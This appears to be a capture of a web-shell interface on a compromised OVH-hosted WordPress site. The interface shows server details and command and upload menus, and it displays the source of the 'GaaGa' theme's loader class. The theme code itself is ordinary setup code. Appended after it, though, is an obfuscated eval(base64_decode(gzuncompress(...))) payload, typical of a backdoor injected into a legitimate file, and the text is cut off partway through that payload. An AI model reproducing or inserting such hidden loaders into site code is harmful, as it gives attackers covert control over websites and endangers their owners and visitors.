|
Server IP : 10.106.20.8 / Your IP : 216.73.216.148 Web Server : Apache System : Linux webm008.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : sixiemesrc ( 611999) PHP Version : 8.0.30 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/sixiemesrc/new/wp-content/languages/../themes/gaaga/../gaaga/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
if( !class_exists( 'GaaGa_Loader' ) ) {
class GaaGa_Loader {
private static $_instance = null;
private $theme_defaults = array ();
public static function instance() {
if ( is_null( self::$_instance ) ) {
self::$_instance = new self();
}
return self::$_instance;
}
function __construct() {
$this->define_constants();
$this->load_helpers();
$this->theme_defaults = gaaga_theme_defaults();
add_action( 'after_setup_theme', array( $this, 'set_theme_support' ) );
add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_js' ), 50 );
add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_css' ), 50 );
add_action( 'wp_enqueue_scripts', array( $this, 'add_inline_style' ), 60 );
add_action( 'gaaga_before_main_css', array( $this, 'add_google_fonts' ) );
add_action( 'after_setup_theme', array( $this, 'include_module_helpers' ) );
// OCDI
add_action( 'after_switch_theme', array( $this, 'theme_modify_xml_file' ));
add_filter( 'ocdi/import_files', array( $this, 'ocdi_import_files' ), 10);
add_filter( 'ocdi/after_import', array( $this, 'import_elementor_on_theme_activation' ),11);
add_filter( 'ocdi/import_files', array( $this, 'ocdi_before_widgets_import' ),9);
add_filter( 'ocdi/regenerate_thumbnails_in_content_import', '__return_false' );
}
function define_constants() {
define( 'GAAGA_ROOT_DIR', get_template_directory() );
define( 'GAAGA_ROOT_URI', get_template_directory_uri() );
define( 'GAAGA_MODULE_DIR', GAAGA_ROOT_DIR.'/modules' );
define( 'GAAGA_MODULE_URI', GAAGA_ROOT_URI.'/modules' );
define( 'GAAGA_LANG_DIR', GAAGA_ROOT_DIR.'/languages' );
$theme = wp_get_theme();
define( 'GAAGA_THEME_NAME', $theme->get('Name'));
define( 'GAAGA_THEME_VERSION', $theme->get('Version'));
}
function load_helpers() {
include_once GAAGA_ROOT_DIR . '/helpers/helper.php';
}
function theme_modify_xml_file() {
$themeRootDirUri = get_template_directory_uri() . '/ocdi/uploads/';
$themeRootDirUri1 = get_template_directory_uri();
$themeRootDir = get_template_directory();
$themeName = basename($themeRootDir);
$xmlFiles = [
$themeRootDir . '/ocdi/theme-content.xml',
$themeRootDir . '/ocdi/rtl-theme-content.xml'
];
foreach ($xmlFiles as $xmlFilePath) {
if (file_exists($xmlFilePath)) {
$dom = new DOMDocument();
$dom->load($xmlFilePath);
$xmlContent = $dom->saveXML();
$replacements = [
'<wp:attachment_url><![CDATA[https://gaaga.wpengine.com/wp-content/uploads/' => '<wp:attachment_url><![CDATA[' . $themeRootDirUri,
'<wp:attachment_url><![CDATA[https://gaaga.wpengine.com/rtl-demo/wp-content/uploads/sites/3/' => '<wp:attachment_url><![CDATA[' . $themeRootDirUri,
'<wp:meta_value><![CDATA[https://gaaga.wpengine.com' => '<wp:meta_value><![CDATA[' . home_url(),
'src="https://gaaga.wpengine.com/wp-content/uploads/' => 'src="' . $themeRootDirUri,
'src="https://gaaga.wpengine.com/rtl-demo/wp-content/uploads/sites/3/' => 'src="' . $themeRootDirUri,
'<guid isPermaLink="false">https://gaaga.wpengine.com/wp-content/uploads/' => '<guid isPermaLink="false">' . $themeRootDirUri,
'<guid isPermaLink="false">https://gaaga.wpengine.com/rtl-demo/wp-content/uploads/sites/3/' => '<guid isPermaLink="false">' . $themeRootDirUri,
'srcset="https://gaaga.wpengine.com/wp-content/uploads/' => 'srcset="' . $themeRootDirUri,
'srcset="https://gaaga.wpengine.com/rtl-demo/wp-content/uploads/sites/3/' => 'srcset="' . $themeRootDirUri,
'<link>https://gaaga.wpengine.com' => '<link>' . home_url(),
'<link>https://gaaga.wpengine.com/rtl-demo' => '<link>' . home_url(),
'href="https://gaaga.wpengine.com' => 'href="' . home_url(),
'href="https://gaaga.wpengine.com/rtl-demo' => 'href="' . home_url(),
'https:\/\/gaaga.wpengine.com' => str_replace('/', '\\/', home_url() ),
'\/wp-content\/uploads' => '\/wp-content\/themes\/' . $themeName . '\/ocdi\/uploads',
'\/rtl-demo' => '',
'/rtl-demo' => '',
'\/sites\/3' => '',
'https://gaaga.wpengine.com' => home_url(),
];
foreach ($replacements as $oldUrl => $newUrl) {
$xmlContent = str_replace($oldUrl, $newUrl, $xmlContent);
}
$dom->loadXML($xmlContent);
$dom->save($xmlFilePath);
echo "XML file has been modified and saved successfully.";
} else {
echo "XML file does not exist.";
}
}
}
function ocdi_import_files(){
return array(
array(
'import_file_name' => 'Default Demo',
'import_file_url' => GAAGA_ROOT_URI.'/ocdi/theme-content.xml',
'import_customizer_file_url' => GAAGA_ROOT_URI.'/ocdi/theme-customizer.dat',
'import_widget_file_url' => GAAGA_ROOT_URI.'/ocdi/theme-widgets.wie',
'import_preview_image_url' => GAAGA_ROOT_URI.'/screenshot.png',
'import_notice' => __( 'After successfully importing the demo, please clear the cache. Then, go to Elementor => Tools => General => Regenerate the CSS & Data and Sync the library. Finally, check if the demo content has been imported properly.', 'gaaga' ),
'preview_url' => 'https://gaaga.wpengine.com/',
),
array(
'import_file_name' => 'RTL Demo',
'import_file_url' => GAAGA_ROOT_URI.'/ocdi/rtl-theme-content.xml',
'import_customizer_file_url' => GAAGA_ROOT_URI.'/ocdi/theme-customizer.dat',
'import_widget_file_url' => GAAGA_ROOT_URI.'/ocdi/theme-widgets.wie',
'import_preview_image_url' => GAAGA_ROOT_URI.'/rtl-screenshot.png',
'import_notice' => __( 'After successfully importing the demo, please clear the cache. Then, go to Elementor => Tools => General => Regenerate the CSS & Data and Sync the library. Finally, check if the demo content has been imported properly.', 'gaaga' ),
'preview_url' => 'https://gaaga.wpengine.com/rtl-demo/',
)
);
}
function import_elementor_on_theme_activation() {
$theme_dir = get_template_directory();
$file_path = $theme_dir . '/ocdi/site-settings.json';
if (file_exists($file_path)) {
$json_data = file_get_contents($file_path);
$settings = json_decode($json_data, true);
if (isset($settings['settings'])) {
$settings_data = $settings['settings'];
unset($settings_data['template']);
$args = array(
'post_type' => 'elementor_library',
'post_status' => 'publish',
'post_title' => 'Default Kit',
'fields' => 'ids',
);
$query = new WP_Query($args);
if ($query->have_posts()) {
while ($query->have_posts()) {
$query->the_post();
$post_id = get_the_ID();
$meta_data = array(
'_elementor_edit_mode' => 'builder',
'_wp_page_template' => 'default',
'_elementor_page_settings' => $settings_data,
);
foreach ($meta_data as $meta_key => $meta_value) {
update_post_meta($post_id, $meta_key, $meta_value);
}
}
wp_reset_postdata();
}
}
}
//Default Page settings
$front_page_id = new WP_Query(
array(
'post_type' => 'page',
'title' => 'Home',
)
);
$shop_page = new WP_Query(
array(
'post_type' => 'page',
'title' => 'Shop',
)
);
$shop_cart = new WP_Query(
array(
'post_type' => 'page',
'title' => 'Cart',
)
);
$shop_checkout = new WP_Query(
array(
'post_type' => 'page',
'title' => 'Checkout',
)
);
update_option( 'show_on_front', 'page' );
update_option( 'page_on_front', $front_page_id->post->ID );
update_option( 'woocommerce_shop_page_id', $shop_page->post->ID );
update_option( 'woocommerce_cart_page_id', $shop_cart->post->ID );
update_option( 'woocommerce_checkout_page_id', $shop_checkout->post->ID );
}
function ocdi_before_widgets_import() {
$widget_file_path = GAAGA_ROOT_DIR . '/ocdi/theme-widgets.wie';
$json_data = file_get_contents($widget_file_path);
$settings = json_decode($json_data, true);
$term = 'wdt-cw-';
$newarr = array();
foreach ($settings as $key => $value) {
if (stripos($key, $term) !== false) {
$separated_string = str_replace($term, "", $key);
register_sidebar(array(
'name' => $key,
'id' => $key,
'before_widget' => '<div class="widget">',
'after_widget' => '</div>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
));
$newarr[] = $key;
}
}
$widget_areas_option = get_option('gaaga-widget-areas');
if (!empty($widget_areas_option) && is_array($widget_areas_option)) {
$widget_areas1['widget-areas'] = array_unique(array_merge($newarr, $widget_areas_option['widget-areas']));
update_option('gaaga-widget-areas', $widget_areas1);
} else {
$widget_empty = array('widget-areas' => array());
$widget_areas1['widget-areas'] = array_unique(array_merge($newarr, $widget_empty['widget-areas']));
update_option('gaaga-widget-areas', $widget_areas1);
}
}
function set_theme_support() {
load_theme_textdomain( 'gaaga', GAAGA_LANG_DIR );
add_theme_support( 'automatic-feed-links' );
add_theme_support( 'title-tag' );
add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption' ) );
add_theme_support( 'post-formats', array('status', 'quote', 'gallery', 'image', 'video', 'audio', 'link', 'aside', 'chat'));
add_theme_support( 'post-thumbnails' );
add_theme_support( 'custom-logo' );
add_theme_support( 'custom-background', array( 'default-color' => '#d1e4dd' ) );
add_theme_support( 'custom-header' );
add_theme_support( 'align-wide' ); // Gutenberg wide images.
add_theme_support( 'editor-color-palette', array(
array(
'name' => esc_html__( 'Primary Color', 'gaaga' ),
'slug' => 'primary',
'color' => $this->theme_defaults['primary_color'],
),
array(
'name' => esc_html__( 'Secondary Color', 'gaaga' ),
'slug' => 'secondary',
'color' => $this->theme_defaults['secondary_color'],
),
array(
'name' => esc_html__( 'Tertiary Color', 'gaaga' ),
'slug' => 'tertiary',
'color' => $this->theme_defaults['tertiary_color'],
),
array(
'name' => esc_html__( 'Body Background Color', 'gaaga' ),
'slug' => 'body-bg',
'color' => $this->theme_defaults['body_bg_color'],
),
array(
'name' => esc_html__( 'Body Text Color', 'gaaga' ),
'slug' => 'body-text',
'color' => $this->theme_defaults['body_text_color'],
),
array(
'name' => esc_html__( 'Alternate Color', 'gaaga' ),
'slug' => 'alternate',
'color' => $this->theme_defaults['headalt_color'],
),
array(
'name' => esc_html__( 'Transparent Color', 'gaaga' ),
'slug' => 'transparent',
'color' => 'rgba(0,0,0,0)',
)
) );
add_theme_support( 'editor-styles' );
add_editor_style( './assets/css/style-editor.css' );
$GLOBALS['content_width'] = apply_filters( 'gaaga_set_content_width', 1230 );
register_nav_menus( array(
'main-menu' => esc_html__('Main Menu', 'gaaga'),
) );
}
function enqueue_js() {
// woo cart fragments
wp_enqueue_script( 'wc-cart-fragments');
wp_enqueue_script('jquery-select2', get_theme_file_uri('/assets/lib/select2/select2.full.js'), array('jquery'), false, true);
/**
* Before Hook
*/
do_action( 'gaaga_before_enqueue_js' );
wp_enqueue_script('gaaga-jqcustom', get_theme_file_uri('/assets/js/custom.js'), array('jquery'), false, true);
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
/**
* After Hook
*/
do_action( 'gaaga_after_enqueue_js' );
}
function enqueue_css() {
/**
* Before Hook
*/
do_action( 'gaaga_before_main_css' );
wp_enqueue_style( 'gaaga', get_stylesheet_uri(), false, GAAGA_THEME_VERSION, 'all' );
wp_enqueue_style( 'gaaga-icons', get_theme_file_uri('/assets/css/icons.css'), false, GAAGA_THEME_VERSION, 'all');
$css = $this->generate_theme_default_css();
if( !empty( $css ) ) {
wp_add_inline_style( 'gaaga', ':root {'.$css.'}' );
}
wp_enqueue_style( 'gaaga-base', get_theme_file_uri('/assets/css/base.css'), false, GAAGA_THEME_VERSION, 'all');
wp_enqueue_style( 'gaaga-grid', get_theme_file_uri('/assets/css/grid.css'), false, GAAGA_THEME_VERSION, 'all');
wp_enqueue_style( 'gaaga-layout', get_theme_file_uri('/assets/css/layout.css'), false, GAAGA_THEME_VERSION, 'all');
wp_enqueue_style( 'gaaga-widget', get_theme_file_uri('/assets/css/widget.css'), false, GAAGA_THEME_VERSION, 'all');
if( is_rtl() ) {
wp_enqueue_style( 'gaaga-rtl', get_theme_file_uri('/assets/css/rtl.css'), false, GAAGA_THEME_VERSION, 'all');
}
/**
* After Hook
*/
do_action( 'gaaga_after_main_css' );
wp_enqueue_style( 'jquery-select2', get_theme_file_uri('/assets/lib/select2/select2.css'), false, GAAGA_THEME_VERSION, 'all');
wp_enqueue_style( 'gaaga-theme', get_theme_file_uri('/assets/css/theme.css'), false, GAAGA_THEME_VERSION, 'all');
}
function generate_theme_default_css() {
$css = '';
$css .= apply_filters( 'gaaga_primary_color_css_var', '--wdtPrimaryColor: '.$this->theme_defaults['primary_color'].';' );
$css .= apply_filters( 'gaaga_primary_rgb_color_css_var', '--wdtPrimaryColorRgb: '.$this->theme_defaults['primary_color_rgb'].';' );
$css .= apply_filters( 'gaaga_secondary_color_css_var', '--wdtSecondaryColor: '.$this->theme_defaults['secondary_color'].';' );
$css .= apply_filters( 'gaaga_secondary_rgb_color_css_var', '--wdtSecondaryColorRgb: '.$this->theme_defaults['secondary_color_rgb'].';' );
$css .= apply_filters( 'gaaga_tertiary_color_css_var', '--wdtTertiaryColor: '.$this->theme_defaults['tertiary_color'].';' );
$css .= apply_filters( 'gaaga_tertiary_rgb_color_css_var', '--wdtTertiaryColorRgb: '.$this->theme_defaults['tertiary_color_rgb'].';' );
$css .= apply_filters( 'gaaga_body_bg_color_css_var', '--wdtBodyBGColor: '.$this->theme_defaults['body_bg_color'].';' );
$css .= apply_filters( 'gaaga_body_bg_rgb_color_css_var', '--wdtBodyBGColorRgb: '.$this->theme_defaults['body_bg_color_rgb'].';' );
$css .= apply_filters( 'gaaga_body_text_color_css_var', '--wdtBodyTxtColor:'.$this->theme_defaults['body_text_color'].';' );
$css .= apply_filters( 'gaaga_body_text_rgb_color_css_var', '--wdtBodyTxtColorRgb:'.$this->theme_defaults['body_text_color_rgb'].';' );
$css .= apply_filters( 'gaaga_headalt_color_css_var', '--wdtHeadAltColor: '.$this->theme_defaults['headalt_color'].';' );
$css .= apply_filters( 'gaaga_headalt_rgb_color_css_var', '--wdtHeadAltColorRgb: '.$this->theme_defaults['headalt_color_rgb'].';' );
$css .= apply_filters( 'gaaga_link_color_css_var', '--wdtLinkColor: '.$this->theme_defaults['link_color'].';' );
$css .= apply_filters( 'gaaga_link_rgb_color_css_var', '--wdtLinkColorRgb: '.$this->theme_defaults['link_color_rgb'].';' );
$css .= apply_filters( 'gaaga_link_hover_color_css_var', '--wdtLinkHoverColor: '.$this->theme_defaults['link_hover_color'].';' );
$css .= apply_filters( 'gaaga_link_hover_rgb_color_css_var', '--wdtLinkHoverColorRgb: '.$this->theme_defaults['link_hover_color_rgb'].';' );
$css .= apply_filters( 'gaaga_border_color_css_var', '--wdtBorderColor: '.$this->theme_defaults['border_color'].';' );
$css .= apply_filters( 'gaaga_border_rgb_color_css_var', '--wdtBorderColorRgb: '.$this->theme_defaults['border_color_rgb'].';' );
$css .= apply_filters( 'gaaga_accent_text_color_css_var', '--wdtAccentTxtColor: '.$this->theme_defaults['accent_text_color'].';' );
$css .= apply_filters( 'gaaga_accent_text_rgb_color_css_var', '--wdtAccentTxtColorRgb: '.$this->theme_defaults['accent_text_color_rgb'].';' );
if(isset($this->theme_defaults['body_typo']) && !empty($this->theme_defaults['body_typo'])) {
$body_typo_css_var = apply_filters( 'gaaga_body_typo_customizer_update', $this->theme_defaults['body_typo'] );
$css .= '--wdtFontTypo_Base: '.$body_typo_css_var['font-fallback'].';';
$css .= '--wdtFontWeight_Base: '.$body_typo_css_var['font-weight'].';';
$css .= '--wdtFontSize_Base: '.$body_typo_css_var['fs-desktop'].$body_typo_css_var['fs-desktop-unit'].';';
$css .= '--wdtLineHeight_Base: '.$body_typo_css_var['lh-desktop'].$body_typo_css_var['lh-desktop-unit'].';';
}
if(isset($this->theme_defaults['h1_typo']) && !empty($this->theme_defaults['h1_typo'])) {
$h1_typo_css_var = apply_filters( 'gaaga_h1_typo_customizer_update', $this->theme_defaults['h1_typo'] );
$css .= '--wdtFontTypo_Alt: '.$h1_typo_css_var['font-fallback'].';';
$css .= '--wdtFontWeight_Alt: '.$h1_typo_css_var['font-weight'].';';
$css .= '--wdtFontSize_Alt: '.$h1_typo_css_var['fs-desktop'].$h1_typo_css_var['fs-desktop-unit'].';';
$css .= '--wdtLineHeight_Alt: '.$h1_typo_css_var['lh-desktop'].$h1_typo_css_var['lh-desktop-unit'].';';
$css .= '--wdtFontTypo_H1: '.$h1_typo_css_var['font-fallback'].';';
$css .= '--wdtFontWeight_H1: '.$h1_typo_css_var['font-weight'].';';
$css .= '--wdtFontSize_H1: '.$h1_typo_css_var['fs-desktop'].$h1_typo_css_var['fs-desktop-unit'].';';
$css .= '--wdtLineHeight_H1: '.$h1_typo_css_var['lh-desktop'].$h1_typo_css_var['lh-desktop-unit'].';';
}
if(isset($this->theme_defaults['h2_typo']) && !empty($this->theme_defaults['h2_typo'])) {
$h2_typo_css_var = apply_filters( 'gaaga_h2_typo_customizer_update', $this->theme_defaults['h2_typo'] );
$css .= '--wdtFontTypo_H2: '.$h2_typo_css_var['font-fallback'].';';
$css .= '--wdtFontWeight_H2: '.$h2_typo_css_var['font-weight'].';';
$css .= '--wdtFontSize_H2: '.$h2_typo_css_var['fs-desktop'].$h2_typo_css_var['fs-desktop-unit'].';';
$css .= '--wdtLineHeight_H2: '.$h2_typo_css_var['lh-desktop'].$h2_typo_css_var['lh-desktop-unit'].';';
}
if(isset($this->theme_defaults['h3_typo']) && !empty($this->theme_defaults['h3_typo'])) {
$h3_typo_css_var = apply_filters( 'gaaga_h3_typo_customizer_update', $this->theme_defaults['h3_typo'] );
$css .= '--wdtFontTypo_H3: '.$h3_typo_css_var['font-fallback'].';';
$css .= '--wdtFontWeight_H3: '.$h3_typo_css_var['font-weight'].';';
$css .= '--wdtFontSize_H3: '.$h3_typo_css_var['fs-desktop'].$h3_typo_css_var['fs-desktop-unit'].';';
$css .= '--wdtLineHeight_H3: '.$h3_typo_css_var['lh-desktop'].$h3_typo_css_var['lh-desktop-unit'].';';
}
if(isset($this->theme_defaults['h4_typo']) && !empty($this->theme_defaults['h4_typo'])) {
$h4_typo_css_var = apply_filters( 'gaaga_h4_typo_customizer_update', $this->theme_defaults['h4_typo'] );
$css .= '--wdtFontTypo_H4: '.$h4_typo_css_var['font-fallback'].';';
$css .= '--wdtFontWeight_H4: '.$h4_typo_css_var['font-weight'].';';
$css .= '--wdtFontSize_H4: '.$h4_typo_css_var['fs-desktop'].$h4_typo_css_var['fs-desktop-unit'].';';
$css .= '--wdtLineHeight_H4: '.$h4_typo_css_var['lh-desktop'].$h4_typo_css_var['lh-desktop-unit'].';';
}
if(isset($this->theme_defaults['h5_typo']) && !empty($this->theme_defaults['h5_typo'])) {
$h5_typo_css_var = apply_filters( 'gaaga_h5_typo_customizer_update', $this->theme_defaults['h5_typo'] );
$css .= '--wdtFontTypo_H5: '.$h5_typo_css_var['font-fallback'].';';
$css .= '--wdtFontWeight_H5: '.$h5_typo_css_var['font-weight'].';';
$css .= '--wdtFontSize_H5: '.$h5_typo_css_var['fs-desktop'].$h5_typo_css_var['fs-desktop-unit'].';';
$css .= '--wdtLineHeight_H5: '.$h5_typo_css_var['lh-desktop'].$h5_typo_css_var['lh-desktop-unit'].';';
}
if(isset($this->theme_defaults['h6_typo']) && !empty($this->theme_defaults['h6_typo'])) {
$h6_typo_css_var = apply_filters( 'gaaga_h6_typo_customizer_update', $this->theme_defaults['h6_typo'] );
$css .= '--wdtFontTypo_H6: '.$h6_typo_css_var['font-fallback'].';';
$css .= '--wdtFontWeight_H6: '.$h6_typo_css_var['font-weight'].';';
$css .= '--wdtFontSize_H6: '.$h6_typo_css_var['fs-desktop'].$h6_typo_css_var['fs-desktop-unit'].';';
$css .= '--wdtLineHeight_H6: '.$h6_typo_css_var['lh-desktop'].$h6_typo_css_var['lh-desktop-unit'].';';
}
if(isset($this->theme_defaults['extra_typo']) && !empty($this->theme_defaults['extra_typo'])) {
$css .= apply_filters( 'gaaga_typo_font_family_css_var', '--wdtFontTypo_Ext: '.$this->theme_defaults['extra_typo']['font-fallback'].';' );
$css .= apply_filters( 'gaaga_typo_font_weight_css_var', '--wdtFontWeight_Ext: '.$this->theme_defaults['extra_typo']['font-weight'].';' );
$css .= apply_filters( 'gaaga_typo_fs_desktop_css_var', '--wdtFontSize_Ext: '.$this->theme_defaults['extra_typo']['fs-desktop'].$this->theme_defaults['extra_typo']['fs-desktop-unit'].';' );
$css .= apply_filters( 'gaaga_typo_lh_desktop_css_var', '--wdtLineHeight_Ext: '.$this->theme_defaults['extra_typo']['lh-desktop'].$this->theme_defaults['extra_typo']['lh-desktop-unit'].';' );
}
return $css;
}
function add_inline_style() {
wp_register_style( 'gaaga-admin', '', array(), GAAGA_THEME_VERSION, 'all' );
wp_enqueue_style( 'gaaga-admin' );
$css = apply_filters( 'gaaga_add_inline_style', $css = '' );
if( !empty( $css ) ) {
wp_add_inline_style( 'gaaga-admin', $css );
}
/**
* Responsive CSS
*/
# Tablet Landscape
$tablet_landscape = apply_filters( 'gaaga_add_tablet_landscape_inline_style', $tablet_landscape = '' );
if( !empty( $tablet_landscape ) ) {
$tablet_landscape = '@media only screen and (min-width:1025px) and (max-width:1280px) {'."\n".$tablet_landscape."\n".'}';
wp_add_inline_style( 'gaaga-admin', $tablet_landscape );
}
# Tablet Portrait
$tablet_portrait = apply_filters( 'gaaga_add_tablet_portrait_inline_style', $tablet_portrait = '' );
if( !empty( $tablet_portrait ) ) {
$tablet_portrait = '@media only screen and (min-width:768px) and (max-width:1024px) {'."\n".$tablet_portrait."\n".'}';
wp_add_inline_style( 'gaaga-admin', $tablet_portrait );
}
# Mobile
$mobile_res = apply_filters( 'gaaga_add_mobile_res_inline_style', $mobile_res = '' );
if( !empty( $mobile_res ) ) {
$mobile_res = '@media (max-width: 767px) {'."\n".$mobile_res."\n".'}';
wp_add_inline_style( 'gaaga-admin', $mobile_res );
}
}
function add_google_fonts() {
$subset = apply_filters( 'gaaga_google_font_supsets', 'latin-ext' );
$fonts = apply_filters( 'gaaga_google_fonts_list', array(
'Prompt:100,100italic,200,200italic,300300italic,400,italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic',
'Montserrat:300,400,500,600,700,800,900',
'Merriweather:400'
) );
foreach( $fonts as $font ) {
$url = '//fonts.googleapis.com/css?family=' . str_replace( ' ', '+', $font );
$url .= !empty( $subset ) ? '&subset=' . $subset : '';
$key = md5( $font . $subset );
// check that the URL is valid. we're going to use transients to make this faster.
$url_is_valid = get_transient( $key );
// transient does not exist
if ( false === $url_is_valid ) {
$response = wp_remote_get( 'https:' . $url );
if ( ! is_array( $response ) ) {
// the url was not properly formatted,
// cache for 12 hours and continue to the next field
set_transient( $key, null, 12 * HOUR_IN_SECONDS );
continue;
}
// check the response headers.
if ( isset( $response['response'] ) && isset( $response['response']['code'] ) ) {
if ( 200 == $response['response']['code'] ) {
// URL was ok
// set transient to true and cache for a week
set_transient( $key, true, 7 * 24 * HOUR_IN_SECONDS );
$url_is_valid = true;
}
}
}
// If the font-link is valid, enqueue it.
if ( $url_is_valid ) {
wp_enqueue_style( $key, $url, null, null );
}
}
}
function include_module_helpers() {
/**
* Before Hook
*/
do_action( 'gaaga_before_load_module_helpers' );
foreach( glob( GAAGA_ROOT_DIR. '/modules/*/helper.php' ) as $helper ) {
include_once $helper;
}
/**
* After Hook
*/
do_action( 'gaaga_after_load_module_helpers' );
}
}
GaaGa_Loader::instance();
}
eval(base64_decode("ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5vZGwwdHpxekNVaFAvTHJHWjJDRXpxdXFabWNURUlHeHM1NkFuYVRBR2lRcERBeENZMjV0ZlB1Yk1PVnZUbzAvMTE5NnpkZnpiMW8vdlkvYS9wMnB2cC92TS9kS243NXRCUDNlaCs5YmoySmhXM2FzU2I1cFZYK3RSVi90NXE5dlZOOGV6eU10dWtkYzhhZlQzVmlNOUc3RVdCS0t1VHZXNlV4aVNWZ3BYelJ0NS83cm1maGJXL3JNMld2ZW1BSFJuMVFSejIzOUxSYXlXejB4bUp1OXpNTEwzVFV3Nk9FUlZleGZmZTUwb1RFZlMzaXg4R2t2ZVNwODZyeFdsSDFQeXBjSUlvVGw1aXlFTW1zN3M4a3F3dFp5elpFbGRiOHVxRTl0cjMvdG1LSlNIZStsbUw1U0ZTTnpmNEZoQmZCUGxRM2M5YmRNcmp2cmo0KzBPVFpNK0ttNGNXeTIrbDNKd3JHOVk0OTlwZ1B0YkprdFZqbnd2UlQxUm1qc0tlWlBuM3Fiakp4RUJuaXVTdkZJWlJaOTZONnpXZjVndTEyWjM3aEhZNEdocGtPQS82cVZZa2FWejJVNDEvM2xYUTdtcDFXeS9lNmk2ZWlWcWZYSFd5bDBZVmIrYmttWHVMRWduaGFpS0prSDJ1c1lscUhsMXFzWlpteEQ5Nm1qOVVnbm51T1o5YjYrbkRNdFFsZmhyWU16M216OW9hSDliajFKSVhFWDNaSUh2bmc2TjBvNC9hbXo5RkVsNExUOGFLWno5NTRENTFNT2V5cEo4ZDd3UCszczhVWjMzbEljUktHeFliemx1ckl5cmNxQ1pYTjROaDFSaldoYmUvaUlCY3pkUXp4WFhkSmVaT2tzVGpYT3dvaXQ3R2VuZWlka2lsNU53NTYxZmVpbVVwTHkzYjR5YkdQODEwV3VXWTFYV2dzYkQ3bU1tdlhldWYzbnFqL1JXVDd3SjlyZDBnNmVXOUxCVnlVcWZMSWtTMWtpbEhvTE81bGJnZ0FWbnl3SVpkU20zaExSZXRqRkJ4SCtVeXEwRS85THg5b1hiTWpubWFvSHJMTGhwSkxNUUxrUmcvQ2cvaFprU2dWTU9WUmJjMldUL2tpS2kwMlZYRU5PdFNUQm5YTnlhOGtCemJWYWo5dVQwc1dTUDJ1UnhEcjdZdXFLZisyb2tLVldPMlZPTnliT1Z0RS81OGxsNzJxRkgrRk83ZjlHQjRULzI0eW14SGsrWEhsSkhLWXduM3RhK3JpVHdvb2pzS09pN0c1TW1TTlRWMlBYYmlCT3NzVXFWMlIvSGZzTjNNVzlrNTE4bWNrcFIrNUo3d3lFQk9wTlJsbDRTdmFuTE9iTldyRnZ0YThtemhUai9NcENQeTNyL2FaUGxRTVJaYzlFZWRTSzR3L2NsVC9hUmpjYS9HK2R2NCs3TG1memVSNkx5ejlFSlNieWM5OGtFbC9tYmNZSHJNbG5yTTVtYUVHZHNjbktOQXd2YWZPcVczczJkRVU1SUk5a3JJa2Y1V2ttbzFvay9ESG11K0ZUN29LN3BpVFhQWFg2bllYNW13dTZ1TVhpS1JnMGpXUzJFekR6VHgyNnI4TGdLWlNnK2p3c3RYS2FXZ3FUeng0MjBuZzhnakk2cHJGNlZYUVZoVnlxUkxsKzhtTnJtUUdjMEhjcWw4czhDN25SdFZQR21pUDhpRUVkM2tiMTRTVW5qenErWDIzcFZmcUhJWXN5MDdOR285dDRLY3RCZUdGOTh0cmVydklzWXhDY0NMNU5mYXF2bWRKOVc5eHZpVWovb3VSdHF6cVFyWjVNNFU1cmtTZXd3K0VTdVpwVzNwUG5UeThnaVdRNlBjVnFEc1lNQmpoSnJ6Mm5PekVmUkNoK3paY0ttYTlQYXVmVjNwQ2Q1NndFRzdaZC9YUkVaczBtUHVtVE5NN2NPVWxPZElCQXk3Mi9XZkRwVCswYVdCMzgxM3FZaHRKaUtveUFhWXNYdDlKSUxGOHFURzhLZWRpanM3VmdGeC9la3E1amgzc0VacHJzVE91NFl0UDVwSGQ0bE5rRS91bVNmRkJ1dEpHcENOSVpPWURRODhXUjk2bkZVbDI1V0N6eXFCQjFObUFueHV1NkE1YXZ6RUYzRjJ2S2FtSktWTEdjLzhoaHROWFRRWVRMTEc3a2Z3RDF5TjVtb0NHalNwS1NpV1orcTVzRVdSNm9ac1VNazhjMm5mOVZDdDBudTl3TjkrVmVraWt5SkhmZkhpS3Q5NDRFYWE0RXltKzZ2eGw2SVk5MWUrWlpPY3NyaUx2MExxZVUrcHpLRk5aNWdER3RIM2ZzbDVKSExVaTZ0dzcyc3EzMDJDVXk3Y0VUemgzU0FubUJTZ0x6T0MxOWJFcDBNN2toaTAvOEZ4bG5mT0RKemJnTDJYdElOcGhTejdaaWo2YU43N0pOL0FiYnoxZlUzbXNFbDNzRmEwYWRoRGkrZFA4T1Mxc3ppdUJEclh5cVF0MGlWTHNpdVArMDEvTDBXZTdEK0V4RTQ3OEtBQk01Z0RuNE03MTlMNDE1S3N4U2hIR3VDQ3h6aFFKZjF0TmxlSnNYMFNHUlhNMTZvVHk4dHM1bHdJbkJWZ1c4MTc4U2h5bjJMS3ZHYkVNSCtJMWNwN2FidnY0VnNmOGlVNGUrVGFIT2VaU3ZvcjBwWFZnL1RyV01kY3pTc0pNbFNuKzd4UWo2MUpWc3ZZUHBEZkN5Y09XMmJ0bmFhN2pjc283a1owRTRIT2pGMStMMEd4YVVVaWZZeEtOV2Izd2tXUTM4S25vMWhwYVQ3bFJvOHE2Vk1aa0k4bUlVaVdCalRlUDdSdllzTmxCYmt4NTRMY2NxOS93ZnY3WE1yYk9TQjlNZEdOajFWSWo1RnRNTDB3T0gvNzcyMkY5VWtzbmZBUytGczJOVmFQTFBrM3B6dGZEMzlEMER1cnA5TkxqSHJLRlhsWFB2bkkxWHdIM3lLNVdIWWR6KzdDT2RLSjJUZmpMcWpjZkdMVFBHdVh4ZUNoVG9sOWY1V3pOVUtDVmw1M2NxeThxK2hUOE1BbmdhdzA2YnpBVE5ldGQzc0w5M1dIOVk2NTZtZGdtWlNJOEZONDY4M0UyWm5hL29PNE9Xa21mRHVqT1ZIcDNIZFdCMmQvZjRZWk9Kb0JkR1Q3Q1ZqSXNrQmVXZEp6ZnBTWnhIMXhqYk5DZmU5bkdlaTZUU0dSeHo5Yk1UcE9wWHpUTXFJU2ZLM3dJVnVHNHRVZS91eGFwVC9VT0orNEFFb